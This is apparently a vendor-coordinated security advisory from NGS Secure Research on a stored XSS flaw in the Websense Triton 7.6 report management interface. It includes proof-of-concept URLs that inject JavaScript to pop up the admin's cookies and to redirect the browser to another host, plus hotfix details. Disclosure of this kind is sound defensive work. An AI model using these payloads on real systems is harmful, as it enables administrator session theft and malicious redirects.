VULNERABILITY ------------------------- Websense (Triton 7.6) stored XSS in report management UI II. BACKGROUND ------------------------- Websense is one of the world's best known web-filter products. The "Triton" administrative UI allows administration of multiple Websense solutions, including their Email, Web, and DLP products http://www.websense.com/ III. DESCRIPTION ------------------------- Websense (Triton 7.6) is prone to stored XSS in the report management UI enabling an attacker run arbitrary javasript in the context of the administrators browser and the Websense administrative UI. IV. PROOF OF CONCEPT ------------------------- Affected URL: https://192.168.233.30:9443/explorer_wse/favorites.exe (though I believe there may be other affected URLs) Examples: Alert pop-up containing the cookies https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe¶ms=startDate=2011-10-29^endDate=2011-10- 29^rnd=936737^&favName=--------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- %22,%2215%22,%229%22,%2228%22,%2215%22,%229%22,%2228%22]]%3b%0D%09alert%28document.cookie%29%3b%0D%09//&user=admin&uid=&action=add&startDate=2011-10-29&endDate=2011-10- 29&vrn= Arbitrary redirect https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe¶ms=startDate=2011-10-29^endDate=2011-10- 29^rnd=936737^&favName=--------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- %22,%2215%22,%229%22,%2228%22,%2215%22,%229%22,%2228%22]]%3bdocument.location%20%3d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%33%33%2e%31%31%2findex2.html %22%3b//&user=admin&uid=&action=add&startDate=2011-10-29&endDate=2011-10-29&vrn= In these cases when and administrator subsequently runs a report, the javascript is executed. There are other ways to execute Javascript when the page is initially loaded (but I thought this was a good example). =============== Fix Information =============== This issue is addressed in Hotfix 24, which can be downloaded at: https://www.websense.com/content/mywebsense-hotfixes.aspx NGS Secure Research http://www.ngssecure.com
